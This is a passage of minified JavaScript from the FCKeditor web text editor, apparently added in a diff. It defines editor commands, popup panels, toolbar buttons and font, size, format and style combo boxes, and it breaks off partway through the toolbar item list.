+var FCKCommands=FCK.Commands={};FCKCommands.LoadedCommands={};FCKCommands.RegisterCommand=function(A,B){this.LoadedCommands[A]=B;};FCKCommands.GetCommand=function(A){var B=FCKCommands.LoadedCommands[A];if (B) return B;switch (A){case 'DocProps':B=new FCKDialogCommand('DocProps',FCKLang.DocProps,'dialog/fck_docprops.html',400,390,FCKCommands.GetFullPageState);break;case 'Templates':B=new FCKDialogCommand('Templates',FCKLang.DlgTemplatesTitle,'dialog/fck_template.html',380,450);break;case 'Link':B=new FCKDialogCommand('Link',FCKLang.DlgLnkWindowTitle,'dialog/fck_link.html',400,330);break;case 'Unlink':B=new FCKUnlinkCommand();break;case 'Anchor':B=new FCKDialogCommand('Anchor',FCKLang.DlgAnchorTitle,'dialog/fck_anchor.html',370,170);break;case 'BulletedList':B=new FCKDialogCommand('BulletedList',FCKLang.BulletedListProp,'dialog/fck_listprop.html?UL',370,170);break;case 'NumberedList':B=new FCKDialogCommand('NumberedList',FCKLang.NumberedListProp,'dialog/fck_listprop.html?OL',370,170);break;case 'About':B=new FCKDialogCommand('About',FCKLang.About,'dialog/fck_about.html',400,330);break;case 'Find':B=new FCKDialogCommand('Find',FCKLang.DlgFindTitle,'dialog/fck_find.html',340,170);break;case 'Replace':B=new FCKDialogCommand('Replace',FCKLang.DlgReplaceTitle,'dialog/fck_replace.html',340,200);break;case 'Image':B=new FCKDialogCommand('Image',FCKLang.DlgImgTitle,'dialog/fck_image.html',450,400);break;case 'Flash':B=new FCKDialogCommand('Flash',FCKLang.DlgFlashTitle,'dialog/fck_flash.html',450,400);break;case 'SpecialChar':B=new FCKDialogCommand('SpecialChar',FCKLang.DlgSpecialCharTitle,'dialog/fck_specialchar.html',400,320);break;case 'Smiley':B=new FCKDialogCommand('Smiley',FCKLang.DlgSmileyTitle,'dialog/fck_smiley.html',FCKConfig.SmileyWindowWidth,FCKConfig.SmileyWindowHeight);break;case 'Table':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html',450,250);break;case 'TableProp':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html?Parent',400,250);break;case 'TableCellProp':B=new FCKDialogCommand('TableCell',FCKLang.DlgCellTitle,'dialog/fck_tablecell.html',550,250);break;case 'Style':B=new FCKStyleCommand();break;case 'FontName':B=new FCKFontNameCommand();break;case 'FontSize':B=new FCKFontSizeCommand();break;case 'FontFormat':B=new FCKFormatBlockCommand();break;case 'Source':B=new FCKSourceCommand();break;case 'Preview':B=new FCKPreviewCommand();break;case 'Save':B=new FCKSaveCommand();break;case 'NewPage':B=new FCKNewPageCommand();break;case 'PageBreak':B=new FCKPageBreakCommand();break;case 'TextColor':B=new FCKTextColorCommand('ForeColor');break;case 'BGColor':B=new FCKTextColorCommand('BackColor');break;case 'PasteText':B=new FCKPastePlainTextCommand();break;case 'PasteWord':B=new FCKPasteWordCommand();break;case 'TableInsertRow':B=new FCKTableCommand('TableInsertRow');break;case 'TableDeleteRows':B=new FCKTableCommand('TableDeleteRows');break;case 'TableInsertColumn':B=new FCKTableCommand('TableInsertColumn');break;case 'TableDeleteColumns':B=new FCKTableCommand('TableDeleteColumns');break;case 'TableInsertCell':B=new FCKTableCommand('TableInsertCell');break;case 'TableDeleteCells':B=new FCKTableCommand('TableDeleteCells');break;case 'TableMergeCells':B=new FCKTableCommand('TableMergeCells');break;case 'TableSplitCell':B=new FCKTableCommand('TableSplitCell');break;case 'TableDelete':B=new FCKTableCommand('TableDelete');break;case 'Form':B=new FCKDialogCommand('Form',FCKLang.Form,'dialog/fck_form.html',380,230);break;case 'Checkbox':B=new FCKDialogCommand('Checkbox',FCKLang.Checkbox,'dialog/fck_checkbox.html',380,230);break;case 'Radio':B=new FCKDialogCommand('Radio',FCKLang.RadioButton,'dialog/fck_radiobutton.html',380,230);break;case 'TextField':B=new FCKDialogCommand('TextField',FCKLang.TextField,'dialog/fck_textfield.html',380,230);break;case 'Textarea':B=new FCKDialogCommand('Textarea',FCKLang.Textarea,'dialog/fck_textarea.html',380,230);break;case 'HiddenField':B=new FCKDialogCommand('HiddenField',FCKLang.HiddenField,'dialog/fck_hiddenfield.html',380,230);break;case 'Button':B=new FCKDialogCommand('Button',FCKLang.Button,'dialog/fck_button.html',380,230);break;case 'Select':B=new FCKDialogCommand('Select',FCKLang.SelectionField,'dialog/fck_select.html',400,380);break;case 'ImageButton':B=new FCKDialogCommand('ImageButton',FCKLang.ImageButton,'dialog/fck_image.html?ImageButton',450,400);break;case 'SpellCheck':B=new FCKSpellCheckCommand();break;case 'FitWindow':B=new FCKFitWindow();break;case 'Undo':B=new FCKUndoCommand();break;case 'Redo':B=new FCKRedoCommand();break;case 'SelectAll':B=new FCKSelectAllCommand();break;case 'Undefined':B=new FCKUndefinedCommand();break;default:if (FCKRegexLib.NamedCommands.test(A)) B=new FCKNamedCommand(A);else{alert(FCKLang.UnknownCommand.replace(/%1/g,A));return null;}};FCKCommands.LoadedCommands[A]=B;return B;};FCKCommands.GetFullPageState=function(){return FCKConfig.FullPage?0:-1;};
+var FCKPanel=function(A){this.IsRTL=(FCKLang.Dir=='rtl');this.IsContextMenu=false;this._LockCounter=0;this._Window=A||window;var B;if (FCKBrowserInfo.IsIE){this._Popup=this._Window.createPopup();B=this.Document=this._Popup.document;FCK.IECleanup.AddItem(this,FCKPanel_Cleanup);}else{var C=this._IFrame=this._Window.document.createElement('iframe');C.src='javascript:void(0)';C.allowTransparency=true;C.frameBorder='0';C.scrolling='no';C.style.position='absolute';C.style.zIndex=FCKConfig.FloatingPanelsZIndex;C.width=C.height=0;if (this._Window==window.parent&&window.frameElement) window.frameElement.parentNode.insertBefore(C,window.frameElement);else this._Window.document.body.appendChild(C);var D=C.contentWindow;B=this.Document=D.document;B.open();B.write('<html><head></head><body style="margin:0px;padding:0px;"><\/body><\/html>');B.close();FCKTools.AddEventListenerEx(D,'focus',FCKPanel_Window_OnFocus,this);FCKTools.AddEventListenerEx(D,'blur',FCKPanel_Window_OnBlur,this);};B.dir=FCKLang.Dir;B.oncontextmenu=FCKTools.CancelEvent;this.MainNode=B.body.appendChild(B.createElement('DIV'));this.MainNode.style.cssFloat=this.IsRTL?'right':'left';};FCKPanel.prototype.AppendStyleSheet=function(A){FCKTools.AppendStyleSheet(this.Document,A);};FCKPanel.prototype.Preload=function(x,y,A){if (this._Popup) this._Popup.show(x,y,0,0,A);};FCKPanel.prototype.Show=function(x,y,A,B,C){var D;if (this._Popup){this._Popup.show(x,y,0,0,A);this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=(x*-1)+A.offsetWidth-D;};this._Popup.show(x,y,D,this.MainNode.offsetHeight,A);if (this.OnHide){if (this._Timer) CheckPopupOnHide.call(this,true);this._Timer=FCKTools.SetInterval(CheckPopupOnHide,100,this);}}else{if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Lock();if (this.ParentPanel) this.ParentPanel.Lock();this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (!B)     this._IFrame.width=1;if (!C)    this._IFrame.height=1;D=this.MainNode.offsetWidth;var E=FCKTools.GetElementPosition(A.nodeType==9?(FCKTools.IsStrictMode(A)?A.documentElement:A.body):A,this._Window);if (this.IsRTL&&!this.IsContextMenu) x=(x*-1);x+=E.X;y+=E.Y;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=x+A.offsetWidth-D;}else{var F=FCKTools.GetViewPaneSize(this._Window);var G=FCKTools.GetScrollPosition(this._Window);var H=F.Height+G.Y;var I=F.Width+G.X;if ((x+D)>I) x-=x+D-I;if ((y+this.MainNode.offsetHeight)>H) y-=y+this.MainNode.offsetHeight-H;};if (x<0) x=0;this._IFrame.style.left=x+'px';this._IFrame.style.top=y+'px';var J=D;var K=this.MainNode.offsetHeight;this._IFrame.width=J;this._IFrame.height=K;this._IFrame.contentWindow.focus();};this._IsOpened=true;FCKTools.RunFunction(this.OnShow,this);};FCKPanel.prototype.Hide=function(A){if (this._Popup) this._Popup.hide();else{if (!this._IsOpened) return;if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Unlock();this._IFrame.width=this._IFrame.height=0;this._IsOpened=false;if (this.ParentPanel) this.ParentPanel.Unlock();if (!A) FCKTools.RunFunction(this.OnHide,this);}};FCKPanel.prototype.CheckIsOpened=function(){if (this._Popup) return this._Popup.isOpen;else return this._IsOpened;};FCKPanel.prototype.CreateChildPanel=function(){var A=this._Popup?FCKTools.GetDocumentWindow(this.Document):this._Window;var B=new FCKPanel(A,true);B.ParentPanel=this;return B;};FCKPanel.prototype.Lock=function(){this._LockCounter++;};FCKPanel.prototype.Unlock=function(){if (--this._LockCounter==0&&!this.HasFocus) this.Hide();};function FCKPanel_Window_OnFocus(e,A){A.HasFocus=true;};function FCKPanel_Window_OnBlur(e,A){A.HasFocus=false;if (A._LockCounter==0) FCKTools.RunFunction(A.Hide,A);};function CheckPopupOnHide(A){if (A||!this._Popup.isOpen){window.clearInterval(this._Timer);this._Timer=null;FCKTools.RunFunction(this.OnHide,this);}};function FCKPanel_Cleanup(){this._Popup=null;this._Window=null;this.Document=null;this.MainNode=null;}
+var FCKIcon=function(A){var B=A?typeof(A):'undefined';switch (B){case 'number':this.Path=FCKConfig.SkinPath+'fck_strip.gif';this.Size=16;this.Position=A;break;case 'undefined':this.Path=FCK_SPACER_PATH;break;case 'string':this.Path=A;break;default:this.Path=A[0];this.Size=A[1];this.Position=A[2];}};FCKIcon.prototype.CreateIconElement=function(A){var B,eIconImage;if (this.Position){var C='-'+((this.Position-1)*this.Size)+'px';if (FCKBrowserInfo.IsIE){B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path;eIconImage.style.top=C;}else{B=A.createElement('IMG');B.src=FCK_SPACER_PATH;B.style.backgroundPosition='0px '+C;B.style.backgroundImage='url('+this.Path+')';}}else{B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path?this.Path:FCK_SPACER_PATH;};B.className='TB_Button_Image';return B;}
+var FCKToolbarButtonUI=function(A,B,C,D,E,F){this.Name=A;this.Label=B||A;this.Tooltip=C||this.Label;this.Style=E||0;this.State=F||0;this.Icon=new FCKIcon(D);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarButtonUI_Cleanup);};FCKToolbarButtonUI.prototype._CreatePaddingElement=function(A){var B=A.createElement('IMG');B.className='TB_Button_Padding';B.src=FCK_SPACER_PATH;return B;};FCKToolbarButtonUI.prototype.Create=function(A){var B=this.MainElement;if (B){FCKToolbarButtonUI_Cleanup.call(this);if (B.parentNode) B.parentNode.removeChild(B);B=this.MainElement=null;};var C=FCKTools.GetElementDocument(A);B=this.MainElement=C.createElement('DIV');B._FCKButton=this;B.title=this.Tooltip;if (FCKBrowserInfo.IsGecko) B.onmousedown=FCKTools.CancelEvent;this.ChangeState(this.State,true);if (this.Style==0&&!this.ShowArrow){B.appendChild(this.Icon.CreateIconElement(C));}else{var D=B.appendChild(C.createElement('TABLE'));D.cellPadding=0;D.cellSpacing=0;var E=D.insertRow(-1);var F=E.insertCell(-1);if (this.Style==0||this.Style==2) F.appendChild(this.Icon.CreateIconElement(C));else F.appendChild(this._CreatePaddingElement(C));if (this.Style==1||this.Style==2){F=E.insertCell(-1);F.className='TB_Button_Text';F.noWrap=true;F.appendChild(C.createTextNode(this.Label));};if (this.ShowArrow){if (this.Style!=0){E.insertCell(-1).appendChild(this._CreatePaddingElement(C));};F=E.insertCell(-1);var G=F.appendChild(C.createElement('IMG'));G.src=FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif';G.width=5;G.height=3;};F=E.insertCell(-1);F.appendChild(this._CreatePaddingElement(C));};A.appendChild(B);};FCKToolbarButtonUI.prototype.ChangeState=function(A,B){if (!B&&this.State==A) return;var e=this.MainElement;switch (parseInt(A,10)){case 0:e.className='TB_Button_Off';e.onmouseover=FCKToolbarButton_OnMouseOverOff;e.onmouseout=FCKToolbarButton_OnMouseOutOff;e.onclick=FCKToolbarButton_OnClick;break;case 1:e.className='TB_Button_On';e.onmouseover=FCKToolbarButton_OnMouseOverOn;e.onmouseout=FCKToolbarButton_OnMouseOutOn;e.onclick=FCKToolbarButton_OnClick;break;case -1:e.className='TB_Button_Disabled';e.onmouseover=null;e.onmouseout=null;e.onclick=null;break;};this.State=A;};function FCKToolbarButtonUI_Cleanup(){if (this.MainElement){this.MainElement._FCKButton=null;this.MainElement=null;}};function FCKToolbarButton_OnMouseOverOn(){this.className='TB_Button_On_Over';};function FCKToolbarButton_OnMouseOutOn(){this.className='TB_Button_On';};function FCKToolbarButton_OnMouseOverOff(){this.className='TB_Button_Off_Over';};function FCKToolbarButton_OnMouseOutOff(){this.className='TB_Button_Off';};function FCKToolbarButton_OnClick(e){if (this._FCKButton.OnClick) this._FCKButton.OnClick(this._FCKButton);};
+var FCKToolbarButton=function(A,B,C,D,E,F,G){this.CommandName=A;this.Label=B;this.Tooltip=C;this.Style=D;this.SourceView=E?true:false;this.ContextSensitive=F?true:false;if (G==null) this.IconPath=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(G)=='number') this.IconPath=[FCKConfig.SkinPath+'fck_strip.gif',16,G];};FCKToolbarButton.prototype.Create=function(A){this._UIButton=new FCKToolbarButtonUI(this.CommandName,this.Label,this.Tooltip,this.IconPath,this.Style);this._UIButton.OnClick=this.Click;this._UIButton._ToolbarButton=this;this._UIButton.Create(A);};FCKToolbarButton.prototype.RefreshState=function(){var A=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (A==this._UIButton.State) return;this._UIButton.ChangeState(A);};FCKToolbarButton.prototype.Click=function(){var A=this._ToolbarButton||this;FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(A.CommandName).Execute();};FCKToolbarButton.prototype.Enable=function(){this.RefreshState();};FCKToolbarButton.prototype.Disable=function(){this._UIButton.ChangeState(-1);}
+var FCKSpecialCombo=function(A,B,C,D,E){this.FieldWidth=B||100;this.PanelWidth=C||150;this.PanelMaxHeight=D||150;this.Label='&nbsp;';this.Caption=A;this.Tooltip=A;this.Style=2;this.Enabled=true;this.Items={};this._Panel=new FCKPanel(E||window,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._PanelBox=this._Panel.MainNode.appendChild(this._Panel.Document.createElement('DIV'));this._PanelBox.className='SC_Panel';this._PanelBox.style.width=this.PanelWidth+'px';this._PanelBox.innerHTML='<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>';this._ItemsHolderEl=this._PanelBox.getElementsByTagName('TD')[0];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKSpecialCombo_Cleanup);};function FCKSpecialCombo_ItemOnMouseOver(){this.className+=' SC_ItemOver';};function FCKSpecialCombo_ItemOnMouseOut(){this.className=this.originalClass;};function FCKSpecialCombo_ItemOnClick(){this.className=this.originalClass;this.FCKSpecialCombo._Panel.Hide();this.FCKSpecialCombo.SetLabel(this.FCKItemLabel);if (typeof(this.FCKSpecialCombo.OnSelect)=='function') this.FCKSpecialCombo.OnSelect(this.FCKItemID,this);};FCKSpecialCombo.prototype.AddItem=function(A,B,C,D){var E=this._ItemsHolderEl.appendChild(this._Panel.Document.createElement('DIV'));E.className=E.originalClass='SC_Item';E.innerHTML=B;E.FCKItemID=A;E.FCKItemLabel=C||A;E.FCKSpecialCombo=this;E.Selected=false;if (FCKBrowserInfo.IsIE) E.style.width='100%';if (D) E.style.backgroundColor=D;E.onmouseover=FCKSpecialCombo_ItemOnMouseOver;E.onmouseout=FCKSpecialCombo_ItemOnMouseOut;E.onclick=FCKSpecialCombo_ItemOnClick;this.Items[A.toString().toLowerCase()]=E;return E;};FCKSpecialCombo.prototype.SelectItem=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];if (B){B.className=B.originalClass='SC_ItemSelected';B.Selected=true;}};FCKSpecialCombo.prototype.SelectItemByLabel=function(A,B){for (var C in this.Items){var D=this.Items[C];if (D.FCKItemLabel==A){D.className=D.originalClass='SC_ItemSelected';D.Selected=true;if (B) this.SetLabel(A);}}};FCKSpecialCombo.prototype.DeselectAll=function(A){for (var i in this.Items){this.Items[i].className=this.Items[i].originalClass='SC_Item';this.Items[i].Selected=false;};if (A) this.SetLabel('');};FCKSpecialCombo.prototype.SetLabelById=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];this.SetLabel(B?B.FCKItemLabel:'');};FCKSpecialCombo.prototype.SetLabel=function(A){this.Label=A.length==0?'&nbsp;':A;if (this._LabelEl){this._LabelEl.innerHTML=this.Label;FCKTools.DisableSelection(this._LabelEl);}};FCKSpecialCombo.prototype.SetEnabled=function(A){this.Enabled=A;this._OuterTable.className=A?'':'SC_FieldDisabled';};FCKSpecialCombo.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var C=this._OuterTable=A.appendChild(B.createElement('TABLE'));C.cellPadding=0;C.cellSpacing=0;C.insertRow(-1);var D;var E;switch (this.Style){case 0:D='TB_ButtonType_Icon';E=false;break;case 1:D='TB_ButtonType_Text';E=false;break;case 2:E=true;break;};if (this.Caption&&this.Caption.length>0&&E){var F=C.rows[0].insertCell(-1);F.innerHTML=this.Caption;F.className='SC_FieldCaption';};var G=FCKTools.AppendElement(C.rows[0].insertCell(-1),'div');if (E){G.className='SC_Field';G.style.width=this.FieldWidth+'px';G.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldLabel"><label>&nbsp;</label></td><td class="SC_FieldButton">&nbsp;</td></tr></tbody></table>';this._LabelEl=G.getElementsByTagName('label')[0];this._LabelEl.innerHTML=this.Label;}else{G.className='TB_Button_Off';G.innerHTML='<table title="'+this.Tooltip+'" class="'+D+'" cellspacing="0" cellpadding="0" border="0"><tr><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_Text">'+this.Caption+'</td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_ButtonArrow"><img src="'+FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif" width="5" height="3"></td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td></tr></table>';};G.SpecialCombo=this;G.onmouseover=FCKSpecialCombo_OnMouseOver;G.onmouseout=FCKSpecialCombo_OnMouseOut;G.onclick=FCKSpecialCombo_OnClick;FCKTools.DisableSelection(this._Panel.Document.body);};function FCKSpecialCombo_Cleanup(){this._LabelEl=null;this._OuterTable=null;this._ItemsHolderEl=null;this._PanelBox=null;if (this.Items){for (var A in this.Items) this.Items[A]=null;}};function FCKSpecialCombo_OnMouseOver(){if (this.SpecialCombo.Enabled){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_On_Over';break;case 1:this.className='TB_Button_On_Over';break;case 2:this.className='SC_Field SC_FieldOver';break;}}};function FCKSpecialCombo_OnMouseOut(){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_Off';break;case 1:this.className='TB_Button_Off';break;case 2:this.className='SC_Field';break;}};function FCKSpecialCombo_OnClick(e){var A=this.SpecialCombo;if (A.Enabled){var B=A._Panel;var C=A._PanelBox;var D=A._ItemsHolderEl;var E=A.PanelMaxHeight;if (A.OnBeforeClick) A.OnBeforeClick(A);if (FCKBrowserInfo.IsIE) B.Preload(0,this.offsetHeight,this);if (D.offsetHeight>E) C.style.height=E+'px';else C.style.height='';B.Show(0,this.offsetHeight,this);}};
+var FCKToolbarSpecialCombo=function(){this.SourceView=false;this.ContextSensitive=true;this._LastValue=null;};function FCKToolbarSpecialCombo_OnSelect(A,B){FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Execute(A,B);};FCKToolbarSpecialCombo.prototype.Create=function(A){this._Combo=new FCKSpecialCombo(this.GetLabel(),this.FieldWidth,this.PanelWidth,this.PanelMaxHeight,FCKBrowserInfo.IsIE?window:FCKTools.GetElementWindow(A).parent);this._Combo.Tooltip=this.Tooltip;this._Combo.Style=this.Style;this.CreateItems(this._Combo);this._Combo.Create(A);this._Combo.CommandName=this.CommandName;this._Combo.OnSelect=FCKToolbarSpecialCombo_OnSelect;};function FCKToolbarSpecialCombo_RefreshActiveItems(A,B){A.DeselectAll();A.SelectItem(B);A.SetLabelById(B);};FCKToolbarSpecialCombo.prototype.RefreshState=function(){var A;var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (B!=-1){A=1;if (this.RefreshActiveItems) this.RefreshActiveItems(this._Combo,B);else{if (this._LastValue!=B){this._LastValue=B;FCKToolbarSpecialCombo_RefreshActiveItems(this._Combo,B);}}}else A=-1;if (A==this.State) return;if (A==-1){this._Combo.DeselectAll();this._Combo.SetLabel('');};this.State=A;this._Combo.SetEnabled(A!=-1);};FCKToolbarSpecialCombo.prototype.Enable=function(){this.RefreshState();};FCKToolbarSpecialCombo.prototype.Disable=function(){this.State=-1;this._Combo.DeselectAll();this._Combo.SetLabel('');this._Combo.SetEnabled(false);};
+var FCKToolbarFontsCombo=function(A,B){this.CommandName='FontName';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontsCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontsCombo.prototype.GetLabel=function(){return FCKLang.Font;};FCKToolbarFontsCombo.prototype.CreateItems=function(A){var B=FCKConfig.FontNames.split(';');for (var i=0;i<B.length;i++) this._Combo.AddItem(B[i],'<font face="'+B[i]+'" style="font-size: 12px">'+B[i]+'</font>');}
+var FCKToolbarFontSizeCombo=function(A,B){this.CommandName='FontSize';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontSizeCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontSizeCombo.prototype.GetLabel=function(){return FCKLang.FontSize;};FCKToolbarFontSizeCombo.prototype.CreateItems=function(A){A.FieldWidth=70;var B=FCKConfig.FontSizes.split(';');for (var i=0;i<B.length;i++){var C=B[i].split('/');this._Combo.AddItem(C[0],'<font size="'+C[0]+'">'+C[1]+'</font>',C[1]);}}
+var FCKToolbarFontFormatCombo=function(A,B){this.CommandName='FontFormat';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;this.NormalLabel='Normal';this.PanelWidth=190;};FCKToolbarFontFormatCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontFormatCombo.prototype.GetLabel=function(){return FCKLang.FontFormat;};FCKToolbarFontFormatCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;var C=FCKLang['FontFormats'].split(';');var D={p:C[0],pre:C[1],address:C[2],h1:C[3],h2:C[4],h3:C[5],h4:C[6],h5:C[7],h6:C[8],div:C[9]};var E=FCKConfig.FontFormats.split(';');for (var i=0;i<E.length;i++){var F=E[i];var G=D[F];if (F=='p') this.NormalLabel=G;this._Combo.AddItem(F,'<div class="BaseFont"><'+F+'>'+G+'</'+F+'></div>',G);}};if (FCKBrowserInfo.IsIE){FCKToolbarFontFormatCombo.prototype.RefreshActiveItems=function(A,B){if (B==this.NormalLabel){if (A.Label!='&nbsp;') A.DeselectAll(true);}else{if (this._LastValue==B) return;A.SelectItemByLabel(B,true);};this._LastValue=B;}}
+var FCKToolbarStyleCombo=function(A,B){this.CommandName='Style';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarStyleCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarStyleCombo.prototype.GetLabel=function(){return FCKLang.Style;};FCKToolbarStyleCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);B.body.className+=' ForceBaseFont';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;if (!(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsGecko10)) A.OnBeforeClick=this.RefreshVisibleItems;var C=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Styles;for (var s in C){var D=C[s];var E;if (D.IsObjectElement) E=A.AddItem(s,s);else E=A.AddItem(s,D.GetOpenerTag()+s+D.GetCloserTag());E.Style=D;}};FCKToolbarStyleCombo.prototype.RefreshActiveItems=function(A){A.DeselectAll();var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetActiveStyles();if (B.length>0){for (var i=0;i<B.length;i++) A.SelectItem(B[i].Name);A.SetLabelById(B[0].Name);}else A.SetLabel('');};FCKToolbarStyleCombo.prototype.RefreshVisibleItems=function(A){if (FCKSelection.GetType()=='Control') var B=FCKSelection.GetSelectedElement().tagName;for (var i in A.Items){var C=A.Items[i];if ((B&&C.Style.Element==B)||(!B&&!C.Style.IsObjectElement)) C.style.display='';else C.style.display='none';}}
+var FCKToolbarPanelButton=function(A,B,C,D,E){this.CommandName=A;var F;if (E==null) F=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(E)=='number') F=[FCKConfig.SkinPath+'fck_strip.gif',16,E];var G=this._UIButton=new FCKToolbarButtonUI(A,B,C,F,D);G._FCKToolbarPanelButton=this;G.ShowArrow=true;G.OnClick=FCKToolbarPanelButton_OnButtonClick;};FCKToolbarPanelButton.prototype.TypeName='FCKToolbarPanelButton';FCKToolbarPanelButton.prototype.Create=function(A){A.className+='Menu';this._UIButton.Create(A);var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName)._Panel;B._FCKToolbarPanelButton=this;var C=B.Document.body.appendChild(B.Document.createElement('div'));C.style.position='absolute';C.style.top='0px';var D=this.LineImg=C.appendChild(B.Document.createElement('IMG'));D.className='TB_ConnectionLine';D.src=FCK_SPACER_PATH;B.OnHide=FCKToolbarPanelButton_OnPanelHide;};function FCKToolbarPanelButton_OnButtonClick(A){var B=this._FCKToolbarPanelButton;var e=B._UIButton.MainElement;B._UIButton.ChangeState(1);B.LineImg.style.width=(e.offsetWidth-2)+'px';FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(B.CommandName).Execute(0,e.offsetHeight-1,e);};function FCKToolbarPanelButton_OnPanelHide(){var A=this._FCKToolbarPanelButton;A._UIButton.ChangeState(0);};FCKToolbarPanelButton.prototype.RefreshState=FCKToolbarButton.prototype.RefreshState;FCKToolbarPanelButton.prototype.Enable=FCKToolbarButton.prototype.Enable;FCKToolbarPanelButton.prototype.Disable=FCKToolbarButton.prototype.Disable;
+var FCKToolbarItems={};FCKToolbarItems.LoadedItems={};FCKToolbarItems.RegisterItem=function(A,B){this.LoadedItems[A]=B;};FCKToolbarItems.GetItem=function(A){var B=FCKToolbarItems.LoadedItems[A];if (B) return B;switch (A){case 'Source':B=new FCKToolbarButton('Source',FCKLang.Source,null,2,true,true,1);break;case 'DocProps':B=new FCKToolbarButton('DocProps',FCKLang.DocProps,null,null,null,null,2);break;case 'Save':B=new FCKToolbarButton('Save',FCKLang.Save,null,null,true,null,3);break;case 'NewPage':B=new FCKToolbarButton('NewPage',FCKLang.NewPage,null,null,true,null,4);break;case 'Preview':B=new FCKToolbarButton('Preview',FCKLang.Preview,null,null,true,null,5);break;case 'Templates':B=new FCKToolbarButton('Templates',FCKLang.Templates,null,null,null,null,6);break;case 'About':B=new FCKToolbarButton('About',FCKLang.About,null,null,true,null,47);break;case 'Cut':B=new FCKToolbarButton('Cut',FCKLang.Cut,null,null,false,true,7);break;case 'Copy':B=new FCKToolbarButton('Copy',FCKLang.Copy,null,null,false,true,8);break;case 'Paste':B=new FCKToolbarButton('Paste',FCKLang.Paste,null,null,false,true,9);break;case 'PasteText':B=new FCKToolbarButton('PasteText',FCKLang.PasteText,null,null,false,true,10);break;case 'PasteWord':B=new FCKToolbarButton('PasteWord',FCKLang.PasteWord,null,null,false,true,11);break;case 'Print':B=new FCKToolbarButton('Print',FCKLang.Print,null,null,false,true,12);break;case 'SpellCheck':B=new FCKToolbarButton('SpellCheck',FCKLang.SpellCheck,null,null,null,null,13);break;case 'Undo':B=new FCKToolbarButton('Undo',FCKLang.Undo,null,null,false,true,14);break;case 'Redo':B=new FCKToolbarButton('Redo',FCKLang.Redo,null,null,false,true,15);break;case 'SelectAll':B=new FCKToolbarButton('SelectAll',FCKLang.SelectAll,null,null,null,null,18);break;case 'RemoveFormat':B=new FCKToolbarButton('RemoveFormat',FCKLang.RemoveFormat,null,null,false,true,19);break;case 'FitWindow':B=new FCKToolbarButton('FitWindow',FCKLang.FitWindow,null,null,true,true,66);break;case 'Bold':B=new FCKToolbarButton('Bold',FCKLang.Bold,null,null,false,true,20);break;case 'Italic':B=new FCKToolbarButton('Italic',FCKLang.Italic,null,null,false,true,21);break;case 'Underline':B=new FCKToolbarButton('Underline',FCKLang.Underline,null,null,false,true,22);break;case 'StrikeThrough':B=new FCKToolbarButton('StrikeThrough',FCKLang.StrikeThrough,null,null,false,true,23);break;case 'Subscript':B=new FCKToolbarButton('Subscript',FCKLang.Subscript,null,null,false,true,24);break;case 